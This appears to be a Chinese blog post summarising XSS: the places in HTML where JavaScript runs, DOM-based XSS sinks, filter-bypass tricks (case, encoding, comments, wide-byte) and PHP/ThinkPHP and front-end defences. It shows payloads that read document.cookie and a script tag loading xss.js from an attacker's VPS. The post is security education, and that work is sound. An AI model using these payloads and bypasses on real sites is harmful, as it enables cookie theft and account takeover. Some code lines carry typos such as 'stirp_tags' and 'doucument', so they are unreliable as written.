xss知識點小結
阿新 • • 發佈:2020-07-31
XSS知識點小結
HTML中可以執行js程式碼的地方
在<script>
標籤中執行js程式碼
這是最常用方法
<script> alert(document.cookie);</script>
<script src="http://<yourVPS>/xss.js"></script>
在HTML標籤的屬性中新增事件
不同標籤支援的事件不同,很難全部記住。在找到xss的構造點後,可以到javascript event物件中查詢可用的事件。一些可以自動觸發的事件可以作為首選項,像onerror,onload等。
<img src="abc" onerror="alert(document.cookie);">
<input id="123" value="test" onblur="alert(document.cookie);">
在具有src,href屬性的一些標籤中執行js程式碼
支援這種js執行的標籤不多,暫時就找到這幾個,後續有接觸到會更新
<a href="javascript:alert(document.cookie);">click me!</a> <iframe src="javascript:alert(document.cookie);"></iframe>
DOM型XSS常見的引發原因
利用的前提都是有可控引數
- location.href
- innerHTML,outerHTML
- appendChild
- doucument.write/writeln
- eval,setTimeout
- ....
location.href="javascript:alert(1)"; var tmp = document.getElementsById('1'); tmp.innerHTML='<script>alert(1);</script>'; doucument.write('<script>alert(1);</scirpt>'); eval("alert(1);"); setTimeout(function(){alert(1);},1000);
XSS的防禦與繞過
在找到可控的輸入點後,就是想辦法構造上面三種方式之一來觸發js。但99%的情況下輸入的資料都做了過濾處理,下面就是想辦法繞過其過濾機制。
常用的繞過方法
- 大小寫繞過
- 雙寫繞過
- 替換繞過
- alert可用
prompt
,confirm
,top\['alert'\](1)
- ()可用 ``代替
- 空格可用%0a,%0d,/**/; html的標籤內分割兩部分還可以用/
- 字元ſ(ord=383)轉為大寫為S
- alert可用
- 編碼繞過
- url編碼
- html實體
t
t
等 - javascript字元編碼 八進位制
\164
十六進位制\x0074
- js的
String.fromCharCode
方法獲得字串 - 註釋繞過
- JavaScript註釋
//
/**/
- html註釋
<!-- -->
<!-- --!>
- JavaScript註釋
- @符號繞過url限制
http://test:[email protected]
- 寬位元組繞過等...
後端xss防禦
目前只接觸到PHP,所有先簡單總結下PHP常用的幾個函式,後續會繼續更新
- 自己寫的一系列字串替換/正則匹配過濾語句等。。
htmlentities/htmlspecialchars
把& ' " < > 轉換為html實體strip_tags
去除空字元、html和php標記,過濾較為嚴格,任意的標籤都會被過濾addslashes
在' " \ 空字元前加上轉義字元mysql_escape_string
對特殊的字元後正確轉義mysql_real_escape_string
同上,但會考慮連線資料庫設定的字符集,從php 7.0.0開始被移除- thinkphp中對使用者的所有資料請求都會經過Request類處理。
以tp6為例,框架預設沒有設定任何過濾,可在app/Request中設定過濾屬性
namespace app; class Request extends \think\Request{ protected $filter = ['stirp_tags','htmlspecialchars']; }
也可以在變數獲取時進行過濾
Request::get('name','','htmlspecialchars'); // 獲取get變數 並用htmlspecialchars函式過濾 Request::param('username','','strip_tags'); // 獲取param變數 並用strip_tags函式過濾 Request::post('name','','org\Filter::safeHtml'); // 獲取post變數 並用org\Filter類的safeHtml方法過濾
前端xss防禦
xss防禦重點在後端,但DOM型XSS是js的不當操作造成的,所以編寫js程式碼時應該再對後端的資料進行檢查一次之後在寫到DOM樹中。
前端渲染時明確告訴瀏覽器資料是文字、屬性還是樣式: .innerText
,.setAttribute
,.style
。
避免使用.innerHTML
,outerHTML
等上面提到的造成DOM型XSS的方法。如果要使用應當確保沒有可控變數或做好過濾。
在location.href
,標籤中的href屬性中新增值時應當過濾掉javascript偽協議。